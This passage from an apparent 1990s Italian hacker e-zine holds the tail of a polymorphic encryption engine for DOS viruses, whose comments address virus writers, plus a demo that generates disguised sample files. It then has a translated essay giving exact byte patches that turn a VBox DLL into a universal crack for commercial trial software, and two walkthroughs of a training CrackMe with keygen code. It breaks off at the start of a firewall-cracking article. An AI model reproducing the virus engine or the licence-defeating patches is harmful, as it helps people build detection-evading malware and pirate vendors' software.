no_prefix: ; prefisso
pop ax
push ax
mov si,offset base_ocs ; metti byte principale
add si,ax ; del registro
mov al,byte ptr ds:[si]
add al,dl ; con il registro scelto
stosb
pop ax
mov dl,al
cmp dl,13d ; le operazioni >= a 13 nella
jb garbage_loop ; tabella hanno un operando
; immediato tipo byte
call sorta_random
stosb
cmp dl,21d ; quelle oltre 21 invece ne
jb garbage_loop ; hanno ben due
call sorta_random
stosb
jmp garbage_loop
just_ints:
call sorta_random_07
cmp al,05 ; 5 chiamate generabili
ja just_ints
mov si,offset inters
add si,ax
cmp al,04
mov ah,byte ptr ds:[si] ; prendi nella tabellina
jae not_21call ; le ultime due non sono
mov al,0b4h ; fatte all'int21h
stosw
mov ah,21h
not_21call:
mov al,0cdh ; opcode chiamata int
stosw
jmp garbage_loop
just_onebyters:
call sorta_random ; abbiamo sei operazioni da
and ax,0fh ; un byte + con prob 7/16
cmp al,6 ; mettiamo un int call
ja just_ints
mov si,offset obyters
add si,ax ; prendi opcode scelto
mov al,byte ptr ds:[si]
stosb
cmp al,0ebh ; se e' un salto allora
jne garbage_loop ; mettici anche un offset
; random
call sorta_random
and ax,0fh
inc al
stosb ; e il dato numero di offset
; di bytes puramente a caso
push cx ; oltre i quali saltare
mov cx,ax
krap_bytes:
call sorta_random ; bytes a casaccio che verranno
stosb ; saltati
loop krap_bytes
pop cx
garbage_loop:
pop si
dec bx
jz exit_garbage ; loop principale del garbage
jmp garbage
exit_garbage:
ret
; possibili istruzioni da un byte generabili
obyters db 90h,0ebh,0f8h,0f9h,0fch,0fdh,0ebh
; nop, jmp short, clc, stc, cld, std, jmp short (di nuovo :P e il + usato)
; la generazione di garbage avviene con due tabelle. un'istruzione verra'
; presa dalla prima (base_ocs + n, dove n e' il numero casuale) e poi dalla
; seconda verra' preso il rispettivo prefisso (base_prefix + n). se questo
; e' zero allora vuol dire che e' un'istruzione da un byte (vedi ad esempio
; inc e dec), mentre per le altre il prefisso verra' direttamente copiato in
; mem. a quella base ovviamente verra' aggiunto la mask per il dato registro
; scelto
base_ocs db 040h,048h,0f8h,0c0h,0c8h,0d0h,0d8h,0d0h,0d8h,0c0h,0c8h
db 0e0h,0e8h,0c0h,0e8h,0f0h,0d0h,0d8h,0c8h,0e0h,0f8h,0b8h
db 0e8h,0c0h,0f0h,0c8h,0e0h,0f8h,0d0h,0d8h,0c0h
base_prefix db 000h,000h,0d1h,0d3h,0d3h,0d1h,0d1h,0f7h,0f7h,0d1h,0d1h
db 0d1h,0d1h,083h,083h,083h,083h,083h,083h,083h,083h,000h
db 081h,081h,081h,081h,081h,081h,081h,081h,0f7h
; possibili chiamate ad interrupts generabili. le prime quattro sono da
; interpretarsi come funzioni (quindi byte da mettere in AH) all'int 21h,
; mentre le ultime due sono l'int 11h (get enviroment) e int 12h (get avaiable
; memory in kbs).
inters db 019h,054h,00bh,018h,011h,012h
; tutto quello oltre a questa riga sono solo variabili temporanee usate dalla
; poly, quindi non ha senso includerle con il body del vostro virus ma tenere
; solo abbastanza spazio in mem
poly_mem_start:
given_si dw 00h ; pointer a cosa encrittare
lenght dw 00h ; lunghezza da encrittare
pointer_ass dw 00h ; dove viene assegnato il pointer
initial_key dw 00h ; chiave iniziale
decr_begin dw 00h ; dove comincia la crittazione
counter_ass dw 00h ; dove viene assegnato il counter
; queste tre variabili contengono 0ffh se il rispettivo registro non e'
; stato ancora settato, mentre contengono il codice in bit del registro
; scelto se ne e' gia' stato uno
already_pnt db 0ffh ; registro come pointer
already_cnt db 0ffh ; registro come counter
already_key db 0ffh ; registro come key
; queste contengono il numero di operazioni di un dato tipo gia' fatte.
change_key db 00h ; operazione di cambio chiave
dec_cnt_nr db 00h ; operazione di decremento counter
inc_pnt_nr db 00h ; operazione di incremento pointer
math_opdone db 00h ; operazione matematica di crittazione
; queste due variabili sono usate per segnalare, quando e' il caso, l'ordine
; nel quale e' stato creato il decryption loop. Infatti se uno o due incrementi
; al puntatore avvengono prima
dell'operazione matematica allora dovremo stare
; attenti a cominciare anche l'encrypting uno o due byte piu' tardi. Lo stesso
; discorso vale per la chiave: se questa e' stata modificata una volta prima
; dell'operazione matematica allora anche nell'encryptor dovremo modificarla
; prima di usarla.
pnt_sba db 00h ; numero di incs prima di math op
pre_kdn db 00h ; segnala se key cambiata prima
poly_mem_end:
; Grandezza totale variabili della poly in memoria (quindi se usata nel
; vostro virus non ha senso mettere anche queste nel file, ma vi basta
; allocare abbastanza mem)
poly_mem = (offset poly_mem_end - offset poly_mem_start)
; <file dpoly.asm>
;
; <----- taglia qui ----->
;
; demo-dpe.asm
; Genera 50 files di esempio che usano la DPE.
;
.model tiny
.code
org 100h
begin:
push cs
pop ds
mov dx,offset gen_msg
mov ah,9 ; scrivi su screen
int 21h
mov cx,50 ; 50 files d'esempio da generare
gen:
push cx
mov dx,offset filename
xor cx,cx
mov ah,3ch ; crea il file di esempio
int 21h
push ax ; file handle
mov si,offset prog ; cosa crittare
mov cx,offset prog_end - offset prog ; lunghezza del prog
mov bp,(offset poly_space - offset begin) ; offset da sottrarre
mov di,offset poly_space ; memoria tempornea
call poly ; chiama la DPE
pop bx
mov ah,40h ; scrivi su file il risultato
int 21h
mov ah,3eh
int 21h
mov bx,offset filename ; prossimo filename
inc byte ptr [bx+7]
cmp byte ptr [bx+7],'9'
jbe no_ccc0
mov byte ptr [bx+7],'0'
inc byte ptr [bx+6]
no_ccc0:
pop cx
loop gen
mov ah,4ch
int 21h
gen_msg db 'Sto generando 50 files di esempio di DPE... $'
filename db '00000000.COM',0
; programma di esempio che verra mascherato con la poly
prog:
call $+3 ; chiama la prossima operazione
pop dx ; delta offset in dx
push cs
pop ds
add dx,offset msg - offset prog - 3 ; punta al msg
mov ah,9
int 21h
mov ah,4ch
int 21h
msg db 'Sample file di [DPE] per BFI#3 eseguito. '
db 'Greetz da b0z0/iKX.$'
prog_end:
include dpoly.asm ; includi il codice del motore
poly_space db 200h dup (?) ; spazio dove generare il tutto
end begin
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ Vá0X ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PREViEW PARADiSE R.I.P.
Nota del traduttore: Questa e' la versione tradotta in italiano
dell'articolo apparso su Fravia's page of reverse engineering, scritto da
xOANON. Non e' stato cambiato nulla.
VBox (05/98 - 06/98)
PreviewParadise R.I.P.
Scritto da xOANON [UCF/CLASS]
Introduzione
Salve vecchio Fravia! E' un sacco di tempo che non mi faccio vedere sulle
tue pagine :) Penso sia tempo di tornarci... Non lamentarti se non
supporto l'+HCU spesso, ma sai... io sono uno di quei crackers-per-le-masse
che non ami tanto :) Beh, e' una scelta... mi fa piacere che la gente usi
i miei cracks, mi piace essere conosciuto eccetera... Ma e' un'altra storia
La settimana scorsa ho trovato un programma chiamato "Script Driven
Internet" e sembrava essere protetto col VBox. Il mese scorso avevo letto il
saggio di Marigold (molto interessante), cosi' ho dato un'occhiata al
programma giusto per capire qualcosa di piu' su questa protezione.
La (stupefacente) tecnica di Marigold e' il "ritorno alla verginita'", io ti
presento invece un metodo per patchare il programma... molto piu' chiaro,
molto piu' facile (non proprio) e (penso) molto piu' utile in quanto il mio
obiettivo e' di produrre una DLL crackata che una volta messa in
\WINDOWS\SYSTEM possa far funzionare ogni programma protetto col VBox.
Tools necessari
SoftIce
W32D/ASM
Il vostro HexEditor preferito
Sigarette (5)
Un ventilatore (e' molto caldo qui)
Un po' di buona musica Grunge (Nirvana, Stone Temple Pilots, ecc...)
URL/FTP dell'obiettivo
ftp://ftp.previewsoftware.com/VboxBuilder.exe
VBox Builder (un programma per aggiungere VBox ai vostri programmi, anche
molto utile per i nostri propositi... eheheh :)
Storia del programma
Timelock di PreviewSoft ha una lunga e gloriosa storia (nel tentativo di
crackarlo). Vbox e' un qualche genere di "nuovo inizio". E' differente dai
suoi predecessori, almeno finche' arriva la memoria di ricordi ancestrali.
Saggio
Siamo qui... cominciamo. Prima di tutto, installate il VBox Builder (serve
un file .prv preso dal server web del produttore, quindi connettetevi e
riempite il modulo per ottenerlo). Quindi scegliete un file .EXE da
proteggere (potreste anche scegliere una .DLL o un .OCX, ma scegliete un
.EXE perche' e' meglio ed e' piu' semplice per i nostri propositi) e
inserite il VBox usando il Builder (scegliete la Trial Days protection).
Ora comincia la parte divertente. Come dice Marigold, e come possiamo
facilmente vedere, le protezioni del VBox sono formate da 3 DLL che vengono
copiate nella directory \WINDOWS\SYSTEM. Queste tre DLL sono: vboxp403.dll -
vboxb403.dll - vboxt403.dll. Tutte queste DLL eccetto la prima sono
compresse, quindi rivolgeremo la nostra attenzione sulla vboxp403.dll.
Questa DLL agisce da loader/decompressore per le altre (fra le altre cose,
di nuovo leggetevi il saggio di Marigold per una spiegazione completa),
cosi' ho pensato: se trovo il codice che decomprime le DLL, subito dopo la
decompressione posso modificare *da dentro la vboxp403.dll* il codice di
protezione che risiede nello spazio di memoria della vboxt403.dll... e cosi'
ho fatto :) Tentativo furbo, non credete? :)
Nota: Questo tipo di modifica puo' essere fatto molto piu' facilmente con un
memory patcher (leggete il saggio di Stone), ma una patch in memoria
richiede sempre un loader, o un programma tipo TSR da caricare prima del
programma target. In questa maniera invece possiamo ottenere (come ho detto)
un crack universale da copiare al posto della DLL originale.
Quindi basta parlare e continuiamo col cracking......
Per prima cosa muovete l'orologio di sistema avanti cosi' che il programma
target esaurisca il periodo di prova.
Ora, avete applicato al vostro .EXE il VBox con la Trial Days protection,
giusto? In questa maniera sara' vulnerabile alla funzione BPX GETLOCALTIME
del nostro amato SoftICE. Atterrerete in questo codice (dopo un PRET
della routine GETLOCALTIME dell'API), dentro la vboxp403.dll. Useremo lo
spazio occupato da questo codice piu' avanti per aggiungere il nostro codice
per modificare la memoria.
----------------------------------------------------------------------
:0500E720 81ECCC000000 sub esp, 000000CC
:0500E726 8D442410 lea eax, dword ptr [esp+10] *piu' avanti aggiungeremo
qui il codice per patchare la memoria*
:0500E72A 56 push esi
:0500E72B 50 push eax
* Reference To: KERNEL32.GetLocalTime, Ord:00F5h
|
:0500E72C FF1544C50105 Call dword ptr [0501C544]
:0500E732 8D4C2404 lea ecx, dword ptr [esp+04]
:0500E736 51 push ecx
* Reference To: KERNEL32.GetSystemTime, Ord:0135h
|
:0500E737 FF1540C50105 Call dword ptr [0501C540]
:0500E73D 668B4C240E mov cx, word ptr [esp+0E]
:0500E742 66390D32AC0105 cmp word ptr [0501AC32], cx
:0500E749 7540 jne 0500E78B
:0500E74B 668B44240C mov ax, word ptr [esp+0C]
:0500E750 66390530AC0105 cmp word ptr [0501AC30], ax
:0500E757 7532 jne 0500E78B
(......... eccetera eccetera......... )
----------------------------------------------------------------------
Andando avanti tracciando, troverete questo codice nella vboxt403.dll, che
verifica se il programma target e' scaduto oppure no:
:07005EFB F6451408 cmp eax, [ebp+10]
:07005EFE 7402 jz 7005F02 *metteteci dei NOP*
e poi
:7005FAA 3B45F0 cmp eax, [ebp+10]
:7005FAD 751A jnz 7005FC9 * cambiatelo in JMP 7005FC9 *
Ok, ora teoricamente la nostra patch e' finita... lo schermo del VBox non
apparira' piu' MA: l'abbiamo appena fatto in memoria, come applicarlo al
file vboxt403.dll dato che e' compresso?
Qui serve un po' di Zen, come i nostri +maestri dicono... Sappiamo che la
DLL deve essere decompressa da qualche parte, andiamo a caccia della routine
di decompressione settando un BPM 7005EFE W (breakpoint su un accesso a
memoria in scrittura). Questo significa che SoftICE si fermera' giusto
quando si accedera' a questa zona di memoria in scrittura (nel nostro caso
sara' una decompressione della vboxt403.dll).
Ok, settiamo il breakpoint e facciamo ripartire il tutto. Vi fermerete nella
nostra amata vboxp403.dll qui:
----------------------------------------------------------------------
:0500E856 8BD1 mov edx, ecx
:0500E858 83E203 and edx, 00000003
:0500E85B C1E902 shr ecx, 02
:0500E85E F3 repz
:0500E85F A5 movsd *questo scrive in codice decompresso in DS:EDI*
:0500E860 FF249568E80005 jmp dword ptr [4*edx+0500E868]
:0500E867 90 nop
----------------------------------------------------------------------
Come noterete questa routine e' eseguita parecchie volte, dato che la
decompressione e' fatta in piccoli passi. In ogni caso, concentreremo la
nostra attenzione quando EDI raggiungera' il valore 07007000. Perche'? Beh,
semplice: dato che vogliamo applicare la patch all'indirizzo DS:7005xxx, se
EDI raggiunge 07007000 significa che il codice di cui abbiamo bisogno e'
gia' stato decompresso ed e' pronto ad essere "violentato" :)
Ora, problema #2: abbiamo bisogno di spazio per fare il nostro patcher di
memoria. Facile, guardate qui... questo codice non serve piu' a nulla,
siccome la protezione e' stata uccisa. Cosi' possiamo usare lo spazio di
memoria di questo controllo per implementare il nostro patcher di memoria.
Prima di tutto, dobbiamo rintracciare la chiamata a questa routine e
NOPparla, dato che vogliamo usarla per i nostri propositi. Eccola qui:
:05002880 6A00 push 00000000
:05002882 E899BE0000 call 0500E720 * NOPpatela e la DLL non chiamera'
piu' il controllo *
:05002887 83C404 add esp, 00000004
:0500288A 50 push eax
Ora, per il patcher di memoria. Dobbiamo saltare alla nostra routine,
giusto? Dobbiamo modificare questo codice giusto dopo che la vboxt403.dll e'
stata decompressa in memoria:
cambiamo
:0500E860 FF249568E80005 jmp dword ptr [4*edx+0500E868]
in
:0500E860 E9C1FEFFFF909090 jmp 500E726 *ok, ora questo salta al
punto di ingresso della nostra routine*
Ecco la routine di patch della memoria:
----------------------------------------------------------------------
:0500E726 81FF00700007 cmp edi, 07007000 *controlla se il codice da
modificare e' gia' stato decompresso*
:0500E72C 7519 jne 0500E747 *prosegui normalmente se non lo e' stato*
:0500E72E 66C787FEEEFFFF9090 mov word ptr [edi+FFFFEEFE], 9090 *modifica
a EDI-1102 = 7005EFE*
:0500E737 C687ADEFFFFFEB mov byte ptr [edi+FFFFEFAD], EB *modifica a
EDI-1053 = 7005FA0*
:0500E73E 66C787A5EEFFFF9090 mov word ptr [edi+FFFFEEA5], 9090 *modifica
a EDI-115B = 7005EA5*
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0500E72C(C)
|
:0500E747 FF249568E80005 jmp dword ptr [4*edx+0500E868] *questo e' il
salto normale eseguito dopo la decompressione*
:0500E74E 90 nop
:0500E74F 90 nop
----------------------------------------------------------------------
Avrete notato che ho fatto un'altra modifica a 0500E73E. Cose' questo?
Beh, modifica questo codice
----------------------------------------------------------------------
:7005E9C F6451408 test byte ptr [ebp+14],08
:7005EA0 BE01000000 mov esi, 00000001
:7005EA5 745B jz 7005F02 *da NOPpare*
----------------------------------------------------------------------
che salta il controllo per il "numero di esecuzioni" (un'altra opzione del
VBox, provatela col Builder).
Beh... questo e' tutto. VBox ora e' completamente morto, grazie a Marigold e
al vostro piccolo xOANINO :) Andate a modificare la vboxp403.dll seguendo le
istruzioni in questo saggio, copiate il file nella vostra \WINDOWS\SYSTEM
sovrascrivendo il file originale, e dite "CIAO CIAO" a WeiJuhn Li :)
Alla prossima Fravione.... e speriamo che l'Italia vinca sti
mondiali.... anche se dopo la partita di ieri mi sembra improbabile :(
(in italiano nel testo :)
Note finali
Spero che abbiate gradito questo saggio. Come avete visto, le protezioni
commerciali gia' pronte non sono cosi' sicure come pretendono di essere
(date un occhio a http://www.previewsoftware.com e ridete... dicono che
persino i creatori di SoftICE non possano sproteggere VBox e TimeLock, non
ci posso credere). Ci sarebbero molti modi per fare una protezione sicura
(come ad esempio usare un cifratore di PE), ma forse pensano che tutti noi
+HCUkers siamo stupidi.... bah :)
I miei ringraziamenti vanno a: Tutti i membri di UCF e CLASS, Devil, Stone,
Miramax, Marquis, Random, SpaceOne, SaiBada, Goku, SoftPJ (per favore
migliorate la vostra E-Zine) :)
(ulteriore Nota del Traduttore: xOA, io che cerco di migliorare per starti
dietro per poi trovarmi a tradurre i tuoi articoli :) che fine ingloriosa...
- sPIRIT^sP )
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ STEP áY STEP ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
LEVEL 1
[ Cracking Level-1 Step-by-Step ]
==================================
Salve amici, da questo numero inizia una serie di articoli dedicati
ad un piccolo programma che ho realizzato per voi.
In pratica e' un CrackMe, ovvero un programma con cui cimentarvi per
allenare le vostre capacita' di cracker ed imparare i rudimenti di questa
nobile arte :)
In questo numero troverete le istruzioni per eseguire il Crack del primo
livello, per tutti coloro che hanno un po' di esperienza consiglio di
smettere di leggere e di cimentarvi direttamente con il mio programma,
invece per i principianti e' descritta tutta la procedura per farlo.
Ci tengo inoltre a proporre una piccola sfida a tutti coloro che vorranno
cimentarsi con gli altri livelli, se li risolvete mandatemi la soluzione
in mail, vedo' di citarvi nel prossimo articolo!!
Cominciamo!
I programmi di cui avete bisogno sono il Softice e se volete il w32dasm
che anche se vecchio puo' essere un valido sussidio.
Ok, il primo livello prevede solo una key senza alcun user-name, quindi
abbastanza abbordabile per i principianti.
Ok! avvia il sistema con il Softice caricato in memoria, avvia il programma
CrackMe, adesso e' necessario settare un break point in modo da entrare nel
codice del programma nel punto in cui vogliamo, per fare questo e' necessario
premere [Ctrl]-D ed entrerete nello schermo di Softice, a questo punto settate
questo break point:
bpx GetDlgItemTextA
Questa stringa e' usata da CrackMe per ottenere la key inserita dall'utente.
Uscite da Softice, inserite una key a caso e premete "Validate Registration
Key".
Vi ritroverete nello schermo di Softice: a questo punto vi trovate nella
funzione USER32.DLL, premete [F12] e vi ritrovate in MFC42.DLL, premete ancora
[F12] e vi ritrovate nel codice di CrackMe.
Quello che ho riportato qui sotto e' il codice ottenuto con il w32dasm che
comunque e' molto simile a quello del Softice, ho aggiunto alcuni importanti
commenti in modo da essere piu' esplicativo.
---------------------------------------------------------------------
:004019D8 E801120000 Call 00402BDE ; MFC42.GetDlgItemTextA
:004019DD 8D542410 lea edx, dword ptr [esp+10]
:004019E1 8D44242C lea eax, dword ptr [esp+2C]
:004019E5 52 push edx ; -> push la key nello stack
:004019E6 50 push eax ; -> push la passwrd nello stack
; compara le due stringhe nello stack
:04019E7 FF1508404000 Call dword ptr [00404008] ; KERNEL32.lstrcmpA
:004019ED 85C0 test eax, eax ; se 2 stringhe uguali, allora eax = 0
:004019EF 755A jne 00401A4B ; jump/quit/error se eax non e' 0
:004019F1 6870434000 push 00404370
:004019F6 8D4C2410 lea ecx, dword ptr [esp+10]
----------------------------------------------------------------------
Se noi vi trovate sulla riga 004019E5 premete [F10] fino a posizionarvici
a questo punto scrivete "d eax" nella window dei comandi (questa
istruzione chiede di mostrare la memoria puntata dal registro EAX).
Nella data window potrete notare la stringa che voi avete inserito, se
scrollate un po' la data window in alto o scrivete "d edx" potrete notare
questa stringa in memoria "qJT62aWfviq0P57JGs2FelQkX", sospetta non credete?
Questa e' la stringa che viene comparata con quella che voi inserite nella key,
quindi basta inserire questa stringa nel programma CrackMe ed avrete registrato
il primo livello (ricordatevi di disabilitare i break point!).
Questo e' il sorgente in C++ di questa routine:
----------------------------------------------
void CCrackMeDlg::Validate()
{
char key[30] = "\0";
char teststr[] = "qJT62aWfviq0P57JGs2FelQkX";
GetDlgItemText(IDC_KEY, key, 30); // prende la key inserita
if (lstrcmp(key, teststr) == 0) // compara le 2 keys
// ti da' il messaggio per la key giusta
else
// ti da' il messaggio per la key sbagliata
}
The_Hawk
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ STEP áY STEP ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
LEVEL 2
[ Livello 2 e crazione del vostro primo Key Generator ]
=======================================================
Ci sono 2 modi per creare un key generator. Il primo consiste nel copiare tutto
il codice assembly, fargli qualche piccola modifica e compilare il tutto con un
assembler.
In questo caso e' necessario conoscere dove la routine di registrazione parte,
dove finisce e quali sono le sue variabili.
Il secondo consiste nell'analizzare l'intera routine e trasportarla/modificarla
per un compilatore di un linguaggio di alto livello. Questo sistema prevede una
bella perdita di tempo nell'analisi del sorgente, ma io preferisco questa via
per scrivere tutti i miei key makers.
Qui sotto c'e' la porzione principale della routine di registrazione del livello
2 ottenuta con il W32Dasm, ho commentato un pochino il codice per renderlo
chiaro anche a chi di assembler ci capisce poco.
Entrate nel programma come descritto nel precedente articolo settando un break
point a GetDlgItamTextA, premete [F12] per uscire da USER32 e
MFC42, arriverete cosi' nel codice di CrackMe.
Adesso premete [F10] per andare nella prima riga del codice (:00401ADF)
Come potete notare qui sotto la prima cosa da fare sara' di disabilitare il
break point inserito con: "d *"
----------------------------------------------------------------------
:00401ADF E8FA100000 Call 00402BDE ; MFC42.GetDlgItemTextA
:00401AE4 8D4C247C lea ecx, dword ptr [esp+7C]
:00401AE8 6A33 push 00000033
:00401AEA 51 push ecx
:00401AEB 68ED030000 push 000003ED
:00401AF0 8BCB mov ecx, ebx
:00401AF2 E8E7100000 Call 00402BDE ; MFC42.GetDlgItemTextA (prende username)
:00401AF7 8D542414 lea edx, dword ptr [esp+14] ; -> punta username
:00401AFB 52 push edx ; -> push username nello stack per lstrlenA
:00401AFC FF1500404000 Call dword ptr [00404000] ; KERNEL32.lstrlenA
:00401B02 8BF0 mov esi, eax ; salva lunghezza stringa in esi
:00401B04 83FE05 cmp esi, 00000005 ; lunghezza stringa < 5 ?
:00401B07 7311 jnb 00401B1A ; jump/ nome ok se lunghezza >= 5
:00401B09 6A40 push 00000040
:00401B0B 6804514000 push 00405104
:00401B10 68D8504000 push 004050D8
:00401B15 E9BA000000 jmp 00401BD4 ; jump/quit mostra end MessageBox
:00401B1A B801000000 mov eax, 00000001 ; setta eax a 1 (counter)
:00401B1F 33FF xor edi, edi ; setta edi a 0
:00401B21 3BF0 cmp esi, eax ; (esi - eax)
:00401B23 7211 jb 00401B36 ; jump se esi(lunghezza) < eax;
; [esp+14] punta a username
; eax e' il counter
:00401B25 0FBE4C0414 movsx ecx, byte ptr [esp+eax+14] ; ecx = user[eax]
:00401B2A 03CF add ecx, edi ; ecx = ecx + edi
:00401B2C 0FAFC8 imul ecx, eax ; ecx = ecx * eax
:00401B2F 40 inc eax ; eax = eax + 1
:00401B30 8BF9 mov edi, ecx ; edi = ecx
:00401B32 3BC6 cmp eax, esi ; (eax - esi) (eax e' il counter)
:00401B34 76EF jbe 00401B25 ; loop se eax <= esi(lunghezza)
:00401B36 33C9 xor ecx, ecx ; ecx = 0;
:00401B38 85F6 test esi, esi ; (esi & esi)
:00401B3A 7620 jbe 00401B5C ; jump/quit se esi(lunghezza) is 0
; [esp+14] punta a username
; [esp+48] punta alla key generata
; ecx e' il counter = 0 all'inizio
; edi contiene la key del precedente loop
:00401B3C 0FBE6C0C14 movsx ebp, byte ptr [esp+ecx+14] ; ebp = user[ecx]
:00401B41 8BC7 mov eax, edi ; eax = edi (key)
:00401B43 33D2 xor edx, edx ; edx = 0
:00401B45 F7F5 div ebp ; eax = eax/ebp, edx = eax%ebp
:00401B47 33D2 xor edx, edx ; edx = 0
:00401B49 BD0A000000 mov ebp, 0000000A ; ebp = 0xA
:00401B4E F7F5 div ebp ; eax = eax/ebp, edx = eax%ebp
:00401B50 80C230 add dl, 30 ; dl = dl + 0x30
:00401B53 88540C48 mov byte ptr [esp+ecx+48], dl ; key[ecx] = dl
:00401B57 41 inc ecx ; ecx = ecx + 1
:00401B58 3BCE cmp ecx, esi ; (ecx - esi)
:00401B5A 72E0 jb 00401B3C ; loop se ecx < esi
:00401B5C 8D542448 lea edx, dword ptr [esp+48] ; -> key generata
:00401B60 8D44247C lea eax, dword ptr [esp+7C] ; -> password inserita
:00401B64 52 push edx ; push puntatore della key nello stack
:00401B65 50 push eax ; push puntatore della password nello stack
; lstrcmpA compara le 2 stringhe nello stack
; il valore di ritorno e' messo in eax
; se le 2 stringhe sono uguali, eax = 0
:00401B66 FF1508404000 Call dword ptr [00404008] ; KERNEL32.lstrcmpA
:00401B6C 85C0 test eax, eax ; (eax & eax)
:00401B6E 7550 jne 00401BC0 ; jump se eax non e' 0
Ok! adesso per avere la stringa di registrazione basta guardare, con il
comando appropriato, nella riga di codice a :00401B5C, qual'e' il comando?
bhe se mi avete seguito fin'ora lo sapete gia'...
Comunque non e' questo il nostro intento, o per lo meno non e' il mio :)
Adesso senza guardare la soluzione provate a tradurre quanto sopra in uno
pseudo codice per un linguaggio di alto livello e poi confrontatelo con la mia
soluzione in fondo.
Giusto per darvi un'idea osservate bene le linee da :00401B25 a :00401B34
per esempio.
La prima cosa che salta all'occhio e' il loop per il JBE alla linea
:00401B34, questo fa un jump all'indietro alla linea :00401B25, ma quali sono
le condizioni del loop?
Ok! partiamo nell'analisi del codice:
questa e' la prima linea del loop...
:00401B25 0FBE4C0414 movsx ecx, byte ptr [esp+eax+14]
Dovresti sapere (lo spero per te!!!) che "mov" corrisponde a "=" in un
linguaggio di alto livello e "movsx" e' una variante di "mov" le cui
differenze non ci fregano granche'.
Quello che e' importante sapere di questa linea e' dove le istruzioni puntano.
Quando vedi le parentesi quadre gia' devi immaginare che si tratta di qualche
locazione di memoria, quindi analiziamo la memoria:
"d esp+eax+14" nella window dei comandi di Softice, vedremo l'username che
abbiamo inserito quindi ovviamente la linea provvede a spostare i caratteri
(byte) dell'username nel registro ECX!
andiamo ad analizzare il resto del loop:
(nota che EAX e' initializzato a 1 alla linea :00401B1A)
(nota anche che EDI e' initializzato a 0 alla linea :00401B1F)
add ecx, edi ; agiunge edi a ECX (ecx e' il byte per username)
imul ecx, eax ; moltiplica ECX per eax (eax e' il counter per questo loop)
inc eax ; aggiunge 1 a EAX
mov edi, ecx ; salva ecx in EDI (valore segreto!!!)
cmp eax, esi ; modifica gli zero & segna i flag per la comparazione
jbe 00401B25 ; loop se eax <= esi (esi e' la lunghezza dell'username)
Le ultime 2 linee ovviamente dicono che EAX e' inserito nel counter e che e'
usato per compararlo con ESI, cioe' la lunghezza dell'username. Ma come fare
a sapere cosa EDI registra nel suo valore segreto?
ok! sappiamo che non possono essere ne eax ne esi, sappiamo anche che non puo'
essere ecx perche' ecx e' cambiato alla prima linea per muoverci l'username,
e tutto evolve con delle operazioni matematiche, quindi EDI non puo' essere che
il valore risultato di questo loop!!!
Un'altra cosa e' che EAX viene incrementata, e' usata per prelevare i caratteri
della stringa inserita e' portarli al loop.
Adesso abbiamo tutto quello che ci serve per scrivere il nostro pseudo codice:
i = 1
finalvalue = 0
do
tmpvar = username(i)
tmpvar = tmpvar * i
i = i + 1
finalvalue = tmpvar
repeat if i <= lunghezza dell'username
Finito, il resto consiste nell'osservare e traslare il resto della routine di
registrazione in un linguaggio a te familiare e modificare un pochino il codice
per ottenere la registration key!
Soluzione della routine di registrazione presa dal mio sorgente C++
-------------------------------------------------------------------
register DWORD i, slen, sum;
char usrn[51] = "\0", key[51] = "\0", keystr[51] = "\0";
GetDlgItemText(IDC_USRN, usrn, 51);
GetDlgItemText(IDC_KEY, key, 51);
if ((slen = lstrlen(usrn)) < 5)
{
MessageBox("User Name must have at least 5 characters.",
"CrackMe", MB_OK | MB_ICONINFORMATION);
return;
}
for (sum = 0, i = 1; i <= slen; i++)
{
sum += usrn[i];
sum *= i;
}
for (i = 0; i < slen; i++)
keystr[i] = LOBYTE( (sum / usrn[i]) % 10 + '0' );
if (lstrcmp(key, keystr) == 0)
{
// correct registration code!
}
else
{
// incorrect registration code!
}
Il Key Generator
-----------------------
Questo e' tutto quello che ti serve per il key generator, dopo aver
traslato il codice e' necessario fare l'output a video dalla "keystr[]"
dell'utente.
Non dovrebbe essere difficile, basta mantenere il codice utile ed eliminare
quello che non ci serve cosi'...
for (sum = 0, i = 1; i <= slen; i++)
{
sum += usrn[i];
sum *= i;
}
for (i = 0; i < slen; i++)
keystr[i] = LOBYTE( (sum / usrn[i]) % 10 + '0' );
The_Hawk
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ NT GUARDiAN 3.0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
La teoria caotica applicata al cracking
ovvero
come ti frego la registrazione di uno dei migliori firewall <EVIL GRIN>
C'e' chi sostiene che il buon crakkatore debba avere 3 qualita': la
conoscienza, l'ingegno e il culo. Ha perfettamente ragione :) Quello che mi
